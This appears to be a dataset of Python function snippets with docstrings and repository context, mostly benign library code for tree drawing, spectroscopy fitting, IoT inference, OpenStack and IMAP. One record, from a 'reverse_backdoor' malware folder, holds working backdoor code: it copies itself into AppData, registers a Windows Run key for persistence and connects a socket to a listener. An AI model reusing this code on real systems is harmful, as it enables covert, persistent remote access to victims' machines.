y = top - self._yspace for i in range(index-1, -1, -1): (x1, y1, x2, y2) = self._subtrees[i].bbox() if y < y2: self._subtrees[i].move(0, y-y2) y -= y2-y1 + self._yspace moved.append(self._subtrees[i]) (x1, y1, x2, y2) = self._label.bbox() if x2 > left-self._xspace: self._label.move(left-self._xspace-x2, 0) moved = self._subtrees return moved def _manage_horizontal(self): (nodex, nodey) = self._node_bottom() y = 20 for subtree in self._subtrees: subtree_bbox = subtree.bbox() dx = nodex - subtree_bbox[0] + self._xspace dy = y - subtree_bbox[1] subtree.move(dx, dy) y += subtree_bbox[3] - subtree_bbox[1] + self._yspace center = 0.0 for subtree in self._subtrees: center += self._subtree_top(subtree)[1] center /= len(self._subtrees) for subtree in self._subtrees: subtree.move(0, nodey-center) def _manage_vertical(self): (nodex, nodey) = self._node_bottom() x = 0 for subtree in self._subtrees: subtree_bbox = subtree.bbox() dy = nodey - subtree_bbox[1] + self._yspace dx = x - subtree_bbox[0] subtree.move(dx, dy) x += subtree_bbox[2] - subtree_bbox[0] + self._xspace center = 0.0 for subtree in self._subtrees: center += self._subtree_top(subtree)[0]/len(self._subtrees) for subtree in self._subtrees: subtree.move(nodex-center, 0) def _manage(self): self._managing = True (nodex, nodey) = self._node_bottom() if len(self._subtrees) == 0: return if self._horizontal: self._manage_horizontal() else: self._manage_vertical() for subtree in self._subtrees: self._update(subtree) self._managing = False def __repr__(self): return '[TreeSeg %s: %s]' % (self._label, self._subtrees) def _tree_to_treeseg(canvas, t, make_node, make_leaf, tree_attribs, node_attribs, leaf_attribs, loc_attribs): if isinstance(t, Tree): label = make_node(canvas, t.label(), **node_attribs) subtrees = [_tree_to_treeseg(canvas, child, make_node, make_leaf, tree_attribs, node_attribs, leaf_attribs, loc_attribs) for child in t] return TreeSegmentWidget(canvas, label, subtrees, **tree_attribs) else: return make_leaf(canvas, t, **leaf_attribs) def tree_to_treesegment(canvas, t, make_node=TextWidget, make_leaf=TextWidget, **attribs): tree_attribs = {} node_attribs = {} leaf_attribs = {} loc_attribs = {} for (key, value) in list(attribs.items()): if key[:5] == 'tree_': tree_attribs[key[5:]] = value elif key[:5] == 'node_': node_attribs[key[5:]] = value elif key[:5] == 'leaf_': leaf_attribs[key[5:]] = value elif key[:4] == 'loc_': loc_attribs[key[4:]] = value else: raise ValueError('Bad attribute: %s' % key) return _tree_to_treeseg(canvas, t, make_node, make_leaf, tree_attribs, node_attribs, leaf_attribs, loc_attribs) class TreeWidget(CanvasWidget): def __init__(self, canvas, t, make_node=TextWidget, make_leaf=TextWidget, **attribs): self._make_node = make_node self._make_leaf = make_leaf self._tree = t self._nodeattribs = {} self._leafattribs = {} self._locattribs = {'color': '#008000'} self._line_color = '#008080' self._line_width = 1 self._roof_color = '#008080' self._roof_fill = '#c0c0c0' self._shapeable = False self._xspace = 10 self._yspace = 10 self._orientation = 'vertical' self._ordered = False self._keys = {} self._expanded_trees = {} self._collapsed_trees = {} self._nodes = [] self._leaves = [] self._make_collapsed_trees(canvas, t, ()) self._treeseg = self._make_expanded_tree(canvas, t, ()) self._add_child_widget(self._treeseg) CanvasWidget.__init__(self, canvas, **attribs) def expanded_tree(self, *path_to_tree): return self._expanded_trees[path_to_tree] def collapsed_tree(self, *path_to_tree): return self._collapsed_trees[path_to_tree] def bind_click_trees(self, callback, button=1): for tseg in list(self._expanded_trees.values()): tseg.bind_click(callback, button) for tseg in list(self._collapsed_trees.values()): tseg.bind_click(callback, button) def bind_drag_trees(self, callback, button=1): for tseg in list(self._expanded_trees.values()): tseg.bind_drag(callback, button) for tseg in list(self._collapsed_trees.values()): tseg.bind_drag(callback, button) def bind_click_leaves(self, callback, button=1): for leaf in self._leaves: leaf.bind_click(callback, button) for leaf in self._leaves: leaf.bind_click(callback, button) def bind_drag_leaves(self, callback, button=1): for leaf in self._leaves: leaf.bind_drag(callback, button) for leaf in self._leaves: leaf.bind_drag(callback, button) def bind_click_nodes(self, callback, button=1): for node in self._nodes: node.bind_click(callback, button) for node in self._nodes: node.bind_click(callback, button)
MIT License
laserkelvin/pyspectools
pyspectools/pypickett.py
MoleculeFit.copy_settings
python
def copy_settings(self, iteration=0): if iteration == 0: iteration = "initial" iteration_folder = str(iteration) + "/" + self.properties["name"] if os.path.isfile(iteration_folder + ".fit.yml") is True: iteration_file = iteration_folder + ".fit.yml" else: iteration_file = iteration_folder + ".yml" iteration_params = read_yaml(iteration_file) self.properties.update(iteration_params) print("Settings copied from " + iteration_file)
Copy settings used in a previous iteration If none specified, we'll take the settings from before the first fit
https://github.com/laserkelvin/pyspectools/blob/f8f38136d362c061cefc71fede56848829467666/pyspectools/pypickett.py#L406-L420
import os from pathlib import Path from glob import glob from dataclasses import dataclass, field import pickle import shutil import tempfile from copy import deepcopy from typing import List, Dict from itertools import product, combinations_with_replacement from subprocess import run, PIPE import numpy as np import pandas as pd import stat import pprint import joblib from tqdm.autonotebook import tqdm from pyspectools import routines from pyspectools import parsers from pyspectools.spectra.assignment import LineList class MoleculeFit: @classmethod def from_json(cls, json_filepath): json_data = read_json(json_filepath) species = MoleculeFit(json_data) return species @classmethod def from_yaml(cls, yaml_filepath): yaml_data = read_yaml(yaml_filepath) species = MoleculeFit(yaml_data) return species @classmethod def from_pickle(cls, picklepath): with open(picklepath) as pickle_read: species = pickle.load(pickle_read) return species def __init__(self, options=None): self.properties = { "name": "Molecule", "tag": 0, "parameters": dict(), "linear": False, "symmetric": False, "prolate": False, "dipole": {"A": 0.0, "B": 0.0, "C": 0.0}, "reduction": "A", "spin": 1, "spin degeneracy": 0, "units": "MHz", "temperature": 5.0, "intensity threshold": [-8.0, -3.0], "K range": [0, 0], "partition function": 1e3, "interactions": 0, "quantum number range": [0, 99], "odd state weight": 1, "even state weight": 1, "frequency limit": 100.0, "vibration limit": 1, "vsym": 1, "ewt": 0, "statistical axis": 1, "number of parameters": 100, "number of lines": 0, "number of iterations": 10, "number of skipped lines": 0, "marquadrt-levenburg": 0.0000e00, "maximum error": 1e13, "fractional importance": 1.0000e00, "IR scaling": 1.0, "diagonalization": 0, "xopt": 1, } self.param_objects = dict() self.iteration_count = 1 self.iterations = dict() self.top_dir = os.getcwd() self.cwd = "" self.experimental_lines = dict() self.initialize(options) self.interactive = False def initialize(self, options=None): if options is not None: self.properties.update(options) self.generate_parameter_objects(verbose=False) self.check_input() self.setup_int() self.setup_par() print("Initialized settings for molecule " + self.properties["name"]) def check_input(self): if self.properties["K range"][1] == 0 and self.properties["linear"] is False: raise UserWarning( "Warning: You have specified a non-linear molecule \ and the maximum K value is unset. Result cat file \ may be empty!" ) if ["A", "C"] in list(self.properties["parameters"].keys()): if self.properties["linear"] is True: raise UserWarning( "Molecule flagged as linear, \ but A and C constants specified." ) def generate_parameter_objects(self, verbose=True): for param_key in self.properties["parameters"]: self.param_objects[param_key] = self.parameter( param_key, self.properties["parameters"][param_key], self.properties["reduction"], linear=self.properties["linear"], verbose=verbose, ) def nuclear(self, delete=False): filelist = [ ".cat", ".var", ".par", ".int", "_parsedlines.csv", "_spectrum.pdf", ".fit", ".out", ] files = [self.properties["name"] + name for name in filelist] if delete is True: for file in files: try: os.system("rm " + file) except FileNotFoundError: pass else: raise EnvironmentError("Please provide a True value to confirm deletion!") def toggle_interactive(self, connected=False): self.interactive = not self.interactive init_notebook_mode(connected=connected) if self.interactive is False: init_notebook_mode(connected=True) def setup_par(self): opt_line = "" opt_line += str(self.properties["number of parameters"]).rjust(4) + " " opt_line += str(self.properties["number of lines"]).rjust(5) + " " opt_line += str(self.properties["number of iterations"]).rjust(5) + " " opt_line += str(self.properties["number of skipped lines"]).rjust(5) + " " opt_line += str(self.properties["marquadrt-levenburg"]).rjust(12) + " " opt_line += str(self.properties["maximum error"]).rjust(15) + " " opt_line += str(self.properties["fractional importance"]).rjust(15) + " " opt_line += str(self.properties["IR scaling"]).rjust(13) + " " prop_line = "" prop_line += str("'" + self.properties["reduction"] + "'").rjust(3) if self.properties["symmetric"] is True and self.properties["linear"] is False: prop_line += ( str(np.negative(self.properties["spin degeneracy"])).rjust(3) + " " ) elif ( self.properties["symmetric"] is False and self.properties["linear"] is False ): prop_line += ( str(np.absolute(self.properties["spin degeneracy"])).rjust(3) + " " ) elif ( self.properties["symmetric"] is False and self.properties["linear"] is True ): prop_line += ( str(np.negative(self.properties["spin degeneracy"])).rjust(3) + " " ) if self.properties["prolate"] is True and self.properties["linear"] is False: prop_line += ( str(np.absolute(self.properties["vibration limit"])).rjust(3) + " " ) elif self.properties["prolate"] is False and self.properties["linear"] is False: prop_line += ( str(np.negative(self.properties["vibration limit"])).rjust(3) + " " ) else: prop_line += str(self.properties["vibration limit"]).rjust(3) + " " prop_line += str(self.properties["K range"][0]).rjust(3) + " " prop_line += str(self.properties["K range"][1]).rjust(3) + " " prop_line += str(self.properties["interactions"]).rjust(3) + " " prop_line += str(self.properties["statistical axis"]).rjust(3) + " " prop_line += str(self.properties["even state weight"]).rjust(3) + " " prop_line += str(self.properties["odd state weight"]).rjust(3) + " " prop_line += str(self.properties["vsym"]).rjust(3) prop_line += str(self.properties["ewt"]).rjust(3) prop_line += str(self.properties["diagonalization"]).rjust(3) prop_line += str(self.properties["xopt"]).rjust(3) with open(self.properties["name"] + ".par", "w+") as write_file: write_file.write(self.properties["name"] + "\n") write_file.write(opt_line + "\n") write_file.write(prop_line + "\n") for parameter in self.param_objects: par_line = self.param_objects[parameter].format_line() write_file.write(par_line + "\n") def setup_int(self): settings_line = " " if self.properties["units"] == "wavenumbers": settings_line += "1" elif self.properties["units"] == "MHz": settings_line += "0" else: settings_line += "0" settings_line += " " + str(self.properties["tag"]).rjust(6) settings_line += str(self.properties["partition function"]).rjust(10) for value in self.properties["quantum number range"]: settings_line += str(value).rjust(5) for value in self.properties["intensity threshold"]: settings_line += str(value).rjust(7) settings_line += str(self.properties["frequency limit"]).rjust(9) settings_line += str(self.properties["temperature"]).rjust(6) settings_line += str(self.properties["vibration limit"]).rjust(7) with open(self.properties["name"] + ".int", "w+") as write_file: write_file.write(self.properties["name"] + "\n") write_file.write(settings_line + "\n") for projection in self.properties["dipole"]: if projection == "A": write_file.write( " 1 " + str(self.properties["dipole"][projection]) + "\n" ) elif projection == "B": write_file.write( " 2 " + str(self.properties["dipole"][projection]) + "\n" ) elif projection == "C": write_file.write( " 3 " + str(self.properties["dipole"][projection]) + "\n" ) def fit_lines(self, verbose=True): os.chdir(self.top_dir) if os.path.isfile(self.properties["name"] + ".lin") is False: runinput = input("Run calbak to generate a .lin file from .cat? (Y/N)") if runinput.lower() == "y": run_calbak(self.properties["name"]) else: raise FileNotFoundError(self.properties["name"] + ".lin not found!") with open(self.properties["name"] + ".lin") as read_file: self.lin_file = read_file.readlines() folder_number = generate_folder() self.cwd = str(folder_number) + "/" if folder_number == 1: if os.path.isdir("initial") is False: os.mkdir("initial") backup_files(self.properties["name"], "./initial/") backup_files(self.properties["name"], self.cwd) dump_yaml( str(folder_number) + "/" + self.properties["name"] + ".yml", self.properties ) os.chdir(self.cwd) self.setup_int() self.setup_par() run_spfit(self.properties["name"]) self.iterations[self.iteration_count] = fit_output( self.properties["name"] + ".fit", verbose=verbose, interactive=self.interactive, ) self.predict_lines() os.chdir(self.top_dir) current_params = self.iterations[self.iteration_count].export_parameters() self.iteration_count += 1 self.update_parameters(current_params, verbose=False) dump_yaml(self.cwd + self.properties["name"] + ".fit.yml", self.properties) print("Current parameters (MHz)") for parameter in current_params: print( parameter + "\t" + str(current_params[parameter]["value"]) + "(" + str(current_params[parameter]["uncertainty"] + ")") ) def calbak(self): run_calbak(self.properties["name"]) with open(self.properties["name"] + ".lin") as read_file: print(read_file.read()) def predict_lines(self, verbose=True): self.properties["partition function"] = run_spcat( self.properties["name"], temperature="{:.3f}".format(self.properties["temperature"]), ) self.setup_int() run_spcat(self.properties["name"]) self.cat_lines = parsers.parse_cat(self.properties["name"] + ".cat") print( "Saving the parsed lines to " + self.properties["name"] + "_parsedlines.csv" ) self.cat_lines.to_csv(self.properties["name"] + "_parsedlines.csv") fig, ax = plot_pickett(self.cat_lines, verbose=verbose) os.chdir(self.top_dir) fig.savefig(self.properties["name"] + "_spectrum.pdf", format="pdf")
MIT License
aws-greengrass/aws-greengrass-component-examples
machine-learning/lambda-v2/lambda-artifacts/com.lambda.DLRObjectDetection/1.0.0/object_detection/inference.py
set_configuration
python
def set_configuration(config): new_config = {} if "ImageName" in config: new_config["image_name"] = config["ImageName"] else: new_config["image_name"] = config_utils.DEFAULT_IMAGE_NAME config_utils.logger.warning( "Using default image name: {}".format(config_utils.DEFAULT_IMAGE_NAME) ) if "ImageDirectory" in config: new_config["image_dir"] = config["ImageDirectory"] else: new_config["image_dir"] = config_utils.IMAGE_DIR config_utils.logger.warning( "Using default image directory: {}".format(config_utils.IMAGE_DIR) ) if "InferenceInterval" in config: new_config["prediction_interval_secs"] = config["InferenceInterval"] else: new_config["prediction_interval_secs"] = config_utils.DEFAULT_PREDICTION_INTERVAL_SECS config_utils.logger.warning( "Using default inference interval: {}".format( config_utils.DEFAULT_PREDICTION_INTERVAL_SECS ) ) if "UseCamera" in config: new_config["use_camera"] = config["UseCamera"] else: new_config["use_camera"] = config_utils.DEFAULT_USE_CAMERA config_utils.logger.warning( "Using default camera: {}".format(config_utils.DEFAULT_USE_CAMERA) ) if "PublishResultsOnTopic" in config: config_utils.TOPIC = config["PublishResultsOnTopic"] else: config_utils.TOPIC = "" config_utils.logger.warning("Topic to publish inference results is empty.") if new_config["use_camera"].lower() == "true": prediction_utils.enable_camera() new_config["image"] = prediction_utils.load_image( path.join(new_config["image_dir"], new_config["image_name"]) ) makedirs(config_utils.BOUNDED_OUTPUT_DIR, exist_ok=True) run_inference(new_config, True)
r""" Sets a new config object with the combination of updated and default configuration as applicable. Calls inference code with the new config and indicates that the configuration changed.
https://github.com/aws-greengrass/aws-greengrass-component-examples/blob/fb7e0aae7b49ed97a0ddba81c52f93a54ec9bb1f/machine-learning/lambda-v2/lambda-artifacts/com.lambda.DLRObjectDetection/1.0.0/object_detection/inference.py#L12-L70
from os import makedirs, path from threading import Thread, Timer import config_utils import IPCUtils as ipc_utils import prediction_utils
Apache License 2.0
openstack/mistral-dashboard
mistraldashboard/api.py
workbook_get
python
def workbook_get(request, workbook_name): return mistralclient(request).workbooks.get(workbook_name)
Get specific workbook. :param workbook_name: Workbook name
https://github.com/openstack/mistral-dashboard/blob/2980dfc44f11400c75a1113e468f50e7c6d6396c/mistraldashboard/api.py#L244-L250
import itertools from django.conf import settings from django.utils.translation import ugettext_lazy as _ from horizon.utils import functions as utils from horizon.utils import memoized from mistralclient.api import client as mistral_client from mistraldashboard.handle_errors import handle_errors from openstack_dashboard.api import base SERVICE_TYPE = 'workflowv2' @memoized.memoized def mistralclient(request): return mistral_client.client( username=request.user.username, auth_token=request.user.token.id, project_id=request.user.tenant_id, mistral_url=base.url_for(request, 'workflowv2'), endpoint_type=getattr( settings, 'OPENSTACK_ENDPOINT_TYPE', 'internalURL' ), service_type=SERVICE_TYPE ) @handle_errors(_("Unable to retrieve list"), []) def pagination_list(entity, request, marker='', sort_keys='', sort_dirs='asc', paginate=False, reversed_order=False, selector=None): limit = getattr(settings, 'API_RESULT_LIMIT', 1000) page_size = utils.get_page_size(request) if paginate: request_size = page_size + 1 else: request_size = limit if reversed_order: sort_dirs = 'desc' if sort_dirs == 'asc' else 'asc' api = mistralclient(request) entities_iter = ( getattr(api, entity).list( selector, marker=marker, limit=limit, sort_keys=sort_keys, sort_dirs=sort_dirs ) if selector else ( getattr(api, entity).list( marker=marker, limit=limit, sort_keys=sort_keys, sort_dirs=sort_dirs ) ) ) has_prev_data = has_more_data = False if paginate: entities = list(itertools.islice(entities_iter, request_size)) if len(entities) > page_size: entities.pop(-1) has_more_data = True if marker is not None: has_prev_data = True elif reversed_order and marker is not None: has_more_data = True elif marker is not None: has_prev_data = True if reversed_order: entities = sorted(entities, key=lambda ent: (getattr(ent, sort_keys) or '').lower(), reverse=(sort_dirs == 'desc') ) else: entities = list(entities_iter) return entities, has_more_data, has_prev_data def execution_create(request, **data): return mistralclient(request).executions.create(**data) def execution_get(request, execution_id): return mistralclient(request).executions.get(execution_id) def execution_update(request, execution_id, field, value): if field == "state": return mistralclient(request). executions.update(execution_id, value) elif field == "description": return mistralclient(request). executions.update(execution_id, None, value) def execution_delete(request, execution_name): return mistralclient(request).executions.delete(execution_name) @handle_errors(_("Unable to retrieve tasks."), []) def task_list(request, execution_id=None): return mistralclient(request).tasks.list(execution_id) def task_get(request, task_id=None): return mistralclient(request).tasks.get(task_id) @handle_errors(_("Unable to retrieve workflows"), []) def workflow_list(request): return mistralclient(request).workflows.list() def workflow_get(request, workflow_name): return mistralclient(request).workflows.get(workflow_name) def workflow_create(request, workflows_definition): return mistralclient(request).workflows.create(workflows_definition) def workflow_validate(request, workflow_definition): return mistralclient(request).workflows.validate(workflow_definition) def workflow_delete(request, workflow_name): return mistralclient(request).workflows.delete(workflow_name) def workflow_update(request, workflows_definition): return mistralclient(request).workflows.update(workflows_definition) @handle_errors(_("Unable to retrieve workbooks."), []) def workbook_list(request): return mistralclient(request).workbooks.list()
Apache License 2.0
dejonghe/cfn-boto-interface
lambda_function.py
CfnBotoInterface.set_attributes_from_data
python
def set_attributes_from_data(self): try: self.action = self.data['RequestType'] logger.info("Action: {}".format(self.action)) self.action_obj = self.data['ResourceProperties'].get(self.action,{}) self.old_physical_resource_id = self.data.get('PhysicalResourceId', 'None') self.physical_resource_id = self.action_obj.get('PhysicalResourceId', self.old_physical_resource_id) logger.info("Physical Resource Id: {}".format(self.physical_resource_id)) self.response_data = self.action_obj.get('ResponseData', {}) logger.info("Response Data: {}".format(self.response_data)) except Exception as e: self.reason = "Missing required property: {}".format(e) logger.error(self.reason) self._send_status(FAILED) return
Sets object attributes from event data sent from CloudFormation
https://github.com/dejonghe/cfn-boto-interface/blob/482e1e58b82c97c3e1d6af3721f6b7ddab7abfbe/lambda_function.py#L80-L99
import argparse import boto3 import json import urllib from cfnresponse import send, SUCCESS, FAILED from command import Command from helper import traverse_find, traverse_modify, to_path, json_serial, remove_prefix, inject_rand, return_modifier, convert from logger import logger class test_context(dict): def __init__(self,profile,region): self.profile = profile self.region = region def remove_prefix(text, prefix): return text[text.startswith(prefix) and len(prefix):] class CfnBotoInterface(object): reason = None response_data = {} buff = None prefix_event = '!event.' prefix_random = '!random' test = False def __init__(self,event,context): logger.debug("Event Received: {}".format(event)) self.raw_data = event self.context = context self.template_event() self.set_attributes_from_data() self.setup_session() if self.action == 'Update' and bool(self.action_obj.get('Replace',False)): logger.info('Replacement specified, running Create') self.run_commands('Create') else: self.run_commands(self.action) self._send_status(SUCCESS) def template_event(self): try: logger.info("Raw Event: {}".format(self.raw_data)) self.data = traverse_find(self.raw_data,self.prefix_random,self._interpolate_rand) self.data = traverse_find(self.data,self.prefix_event,self._template) for modifier in [ '!str.', '!int.' ]: self.data = traverse_find(self.data,modifier,self._mod) logger.info("Templated Event: {}".format(self.data)) except Exception as e: self.reason = "Templating Event Data Failed: {}".format(e) logger.error(self.reason) self._send_status(FAILED) return
Apache License 2.0
dmdhrumilmistry/pyhtools
malwares/reverse_backdoor/TCP/reverse_backdoor.py
ReverseBackdoor.create_persistence
python
def create_persistence(self): if os.name == 'nt': backdoor_file_path = os.environ['appdata'] + '\\MyBackdoor.exe' if not os.path.exists(backdoor_file_path): shutil.copy(sys.executable, backdoor_file_path) subprocess.call(f'reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MyBackdoor /t REG_SZ /d "{backdoor_file_path}"')
description: tries to connect to user when machine restarts. params: None returns: None
https://github.com/dmdhrumilmistry/pyhtools/blob/8a310fb70cea191b331df7883dc6c81bae5b4ce5/malwares/reverse_backdoor/TCP/reverse_backdoor.py#L29-L42
import socket import subprocess import json import sys import os import base64 import shutil class ReverseBackdoor: def __init__(self, ip:str, port:int)->None: self.create_persistence() self.port = port self.ip = ip self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.connect_to_listener()
MIT License
wapm-packages/python
Python-3.6.7/Lib/imaplib.py
IMAP4.shutdown
python
def shutdown(self): self.file.close() try: self.sock.shutdown(socket.SHUT_RDWR) except OSError as exc: if (exc.errno != errno.ENOTCONN and getattr(exc, 'winerror', 0) != 10022): raise finally: self.sock.close()
Close I/O established in "open".
https://github.com/wapm-packages/python/blob/658c1822f430f6d604ecf2bcc388e469cedb2238/Python-3.6.7/Lib/imaplib.py#L321-L334
__version__ = "2.58" import binascii, errno, random, re, socket, subprocess, sys, time, calendar from datetime import datetime, timezone, timedelta from io import DEFAULT_BUFFER_SIZE try: import ssl HAVE_SSL = True except ImportError: HAVE_SSL = False __all__ = ["IMAP4", "IMAP4_stream", "Internaldate2tuple", "Int2AP", "ParseFlags", "Time2Internaldate"] CRLF = b'\r\n' Debug = 0 IMAP4_PORT = 143 IMAP4_SSL_PORT = 993 AllowedVersions = ('IMAP4REV1', 'IMAP4') _MAXLINE = 1000000 Commands = { 'APPEND': ('AUTH', 'SELECTED'), 'AUTHENTICATE': ('NONAUTH',), 'CAPABILITY': ('NONAUTH', 'AUTH', 'SELECTED', 'LOGOUT'), 'CHECK': ('SELECTED',), 'CLOSE': ('SELECTED',), 'COPY': ('SELECTED',), 'CREATE': ('AUTH', 'SELECTED'), 'DELETE': ('AUTH', 'SELECTED'), 'DELETEACL': ('AUTH', 'SELECTED'), 'ENABLE': ('AUTH', ), 'EXAMINE': ('AUTH', 'SELECTED'), 'EXPUNGE': ('SELECTED',), 'FETCH': ('SELECTED',), 'GETACL': ('AUTH', 'SELECTED'), 'GETANNOTATION':('AUTH', 'SELECTED'), 'GETQUOTA': ('AUTH', 'SELECTED'), 'GETQUOTAROOT': ('AUTH', 'SELECTED'), 'MYRIGHTS': ('AUTH', 'SELECTED'), 'LIST': ('AUTH', 'SELECTED'), 'LOGIN': ('NONAUTH',), 'LOGOUT': ('NONAUTH', 'AUTH', 'SELECTED', 'LOGOUT'), 'LSUB': ('AUTH', 'SELECTED'), 'MOVE': ('SELECTED',), 'NAMESPACE': ('AUTH', 'SELECTED'), 'NOOP': ('NONAUTH', 'AUTH', 'SELECTED', 'LOGOUT'), 'PARTIAL': ('SELECTED',), 'PROXYAUTH': ('AUTH',), 'RENAME': ('AUTH', 'SELECTED'), 'SEARCH': ('SELECTED',), 'SELECT': ('AUTH', 'SELECTED'), 'SETACL': ('AUTH', 'SELECTED'), 'SETANNOTATION':('AUTH', 'SELECTED'), 'SETQUOTA': ('AUTH', 'SELECTED'), 'SORT': ('SELECTED',), 'STARTTLS': ('NONAUTH',), 'STATUS': ('AUTH', 'SELECTED'), 'STORE': ('SELECTED',), 'SUBSCRIBE': ('AUTH', 'SELECTED'), 'THREAD': ('SELECTED',), 'UID': ('SELECTED',), 'UNSUBSCRIBE': ('AUTH', 'SELECTED'), } Continuation = re.compile(br'\+( (?P<data>.*))?') Flags = re.compile(br'.*FLAGS \((?P<flags>[^\)]*)\)') InternalDate = re.compile(br'.*INTERNALDATE "' br'(?P<day>[ 0123][0-9])-(?P<mon>[A-Z][a-z][a-z])-(?P<year>[0-9][0-9][0-9][0-9])' br' (?P<hour>[0-9][0-9]):(?P<min>[0-9][0-9]):(?P<sec>[0-9][0-9])' br' (?P<zonen>[-+])(?P<zoneh>[0-9][0-9])(?P<zonem>[0-9][0-9])' br'"') Literal = re.compile(br'.*{(?P<size>\d+)}$', re.ASCII) MapCRLF = re.compile(br'\r\n|\r|\n') Response_code = re.compile(br'\[(?P<type>[A-Z-]+)( (?P<data>.*))?\]') Untagged_response = re.compile(br'\* (?P<type>[A-Z-]+)( (?P<data>.*))?') Untagged_status = re.compile( br'\* (?P<data>\d+) (?P<type>[A-Z-]+)( (?P<data2>.*))?', re.ASCII) _Literal = br'.*{(?P<size>\d+)}$' _Untagged_status = br'\* (?P<data>\d+) (?P<type>[A-Z-]+)( (?P<data2>.*))?' class IMAP4: class error(Exception): pass class abort(error): pass class readonly(abort): pass def __init__(self, host='', port=IMAP4_PORT): self.debug = Debug self.state = 'LOGOUT' self.literal = None self.tagged_commands = {} self.untagged_responses = {} self.continuation_response = '' self.is_readonly = False self.tagnum = 0 self._tls_established = False self._mode_ascii() self.open(host, port) try: self._connect() except Exception: try: self.shutdown() except OSError: pass raise def _mode_ascii(self): self.utf8_enabled = False self._encoding = 'ascii' self.Literal = re.compile(_Literal, re.ASCII) self.Untagged_status = re.compile(_Untagged_status, re.ASCII) def _mode_utf8(self): self.utf8_enabled = True self._encoding = 'utf-8' self.Literal = re.compile(_Literal) self.Untagged_status = re.compile(_Untagged_status) def _connect(self): self.tagpre = Int2AP(random.randint(4096, 65535)) self.tagre = re.compile(br'(?P<tag>' + self.tagpre + br'\d+) (?P<type>[A-Z]+) (?P<data>.*)', re.ASCII) if __debug__: self._cmd_log_len = 10 self._cmd_log_idx = 0 self._cmd_log = {} if self.debug >= 1: self._mesg('imaplib version %s' % __version__) self._mesg('new IMAP4 connection, tag=%s' % self.tagpre) self.welcome = self._get_response() if 'PREAUTH' in self.untagged_responses: self.state = 'AUTH' elif 'OK' in self.untagged_responses: self.state = 'NONAUTH' else: raise self.error(self.welcome) self._get_capabilities() if __debug__: if self.debug >= 3: self._mesg('CAPABILITIES: %r' % (self.capabilities,)) for version in AllowedVersions: if not version in self.capabilities: continue self.PROTOCOL_VERSION = version return raise self.error('server not IMAP4 compliant') def __getattr__(self, attr): if attr in Commands: return getattr(self, attr.lower()) raise AttributeError("Unknown IMAP4 command: '%s'" % attr) def __enter__(self): return self def __exit__(self, *args): try: self.logout() except OSError: pass def _create_socket(self): host = None if not self.host else self.host return socket.create_connection((host, self.port)) def open(self, host = '', port = IMAP4_PORT): self.host = host self.port = port self.sock = self._create_socket() self.file = self.sock.makefile('rb') def read(self, size): return self.file.read(size) def readline(self): line = self.file.readline(_MAXLINE + 1) if len(line) > _MAXLINE: raise self.error("got more than %d bytes" % _MAXLINE) return line def send(self, data): self.sock.sendall(data)
Apache License 2.0
sfdo-tooling/metaci
metaci/api/views/testmethod_perf.py
TestMethodPerfListView.get_queryset
python
def get_queryset(self): set_timeout(30) self._check_params() splitter_fields = self._get_splitter_fields() aggregations = self._get_aggregation_fields() queryset = ( TestResultPerfWeeklySummary.objects.for_user(self.request.user) .values(method_name=F("method__name"), **splitter_fields) .annotate(**aggregations) ) if not self.orderby_field: queryset = queryset.order_by("method_name") return queryset
The main method that the Django infrastructure invokes.
https://github.com/sfdo-tooling/metaci/blob/2f1efe6ae91b12dc50bb007d0881c10cb52fea1b/metaci/api/views/testmethod_perf.py#L314-L331
from datetime import datetime, timedelta import django_filters.rest_framework from django.db import connection from django.db.models import BigIntegerField, F, FloatField, Sum from django.db.models.functions import Cast from django_filters.widgets import DateRangeWidget from rest_framework import exceptions, generics, pagination, permissions, viewsets from metaci.api.serializers.simple_dict_serializer import SimpleDictSerializer from metaci.plan.models import Plan from metaci.repository.models import Branch, Repository from metaci.testresults.models import FieldType, TestResultPerfWeeklySummary thirty_days_ago = datetime.now() - timedelta(days=30) class DEFAULTS: page_size = 50 max_page_size = 100 branch = "main" daterange_after = thirty_days_ago.isoformat("T").split("T")[0] def set_timeout(timeout): with connection.cursor() as cursor: cursor.execute("SET LOCAL statement_timeout=%s", [timeout * 1000]) class StandardResultsSetPagination(pagination.PageNumberPagination): page_size = DEFAULTS.page_size page_size_query_param = "page_size" max_page_size = DEFAULTS.max_page_size class BuildFlowFilterSet(django_filters.rest_framework.FilterSet): repo_choices = ( Repository.objects.values_list("name", "name").order_by("name").distinct() ) repo = django_filters.rest_framework.ChoiceFilter( field_name="rel_repo__name", label="Repo Name", choices=repo_choices ) branch = django_filters.rest_framework.CharFilter( field_name="rel_branch__name", label="Branch Name" ) plan_choices = Plan.objects.values_list("name", "name").order_by("name").distinct() plan = django_filters.rest_framework.ChoiceFilter( field_name="rel_plan__name", label="Plan Name", choices=plan_choices ) daterange = django_filters.rest_framework.DateFromToRangeFilter( field_name="week_start", label="Date range", widget=DateRangeWidget(attrs={"type": "date"}), ) def dummy_filter(self, queryset, name, value): return queryset fields_and_stuff = locals() build_fields = {} for name in ("repo", "plan", "branch"): build_fields[name] = fields_and_stuff[name].field_name def dynamicBuildFlowFilterSetBuilder(repo_name): class DynamicBuildFlowFilterSet(BuildFlowFilterSet): if repo_name: branches = ( Branch.include_deleted.filter(repo__name=repo_name) .values_list("name", "name") .order_by("name") .distinct() ) branch = django_filters.rest_framework.ChoiceFilter( field_name="rel_branch__name", label="Branch Name", choices=list(branches), ) return DynamicBuildFlowFilterSet def AsInt(expr): return Cast(expr, BigIntegerField()) def AsFloat(expr): return Cast(expr, FloatField()) def AvgofAvgs(fieldname): return AsFloat(Sum(AsInt(F(fieldname) * F("agg_count"))) / Sum("agg_count")) class TestMethodPerfFilterSet( BuildFlowFilterSet, django_filters.rest_framework.FilterSet ): success_percentage_gt = django_filters.rest_framework.NumberFilter( label="Success percentage above", field_name="success_percentage", lookup_expr="gt", ) success_percentage_lt = django_filters.rest_framework.NumberFilter( label="Success percentage below", field_name="success_percentage", lookup_expr="lt", ) count_gt = django_filters.rest_framework.NumberFilter( label="Count above", field_name="count", lookup_expr="gt" ) count_lt = django_filters.rest_framework.NumberFilter( label="Count below", field_name="count", lookup_expr="lt" ) method_name = django_filters.rest_framework.CharFilter( field_name="method_name", label="Method Name", lookup_expr="icontains" ) def dummy(queryset, name, value): return queryset metrics = { "method_name": FieldType("Method Name", F("method__name")), "duration_average": FieldType( "Duration: Average", AvgofAvgs("agg_duration_average") ), "duration_slow": FieldType("Duration: Slow", AvgofAvgs("agg_duration_slow")), "duration_fast": FieldType("Duration: Fast", 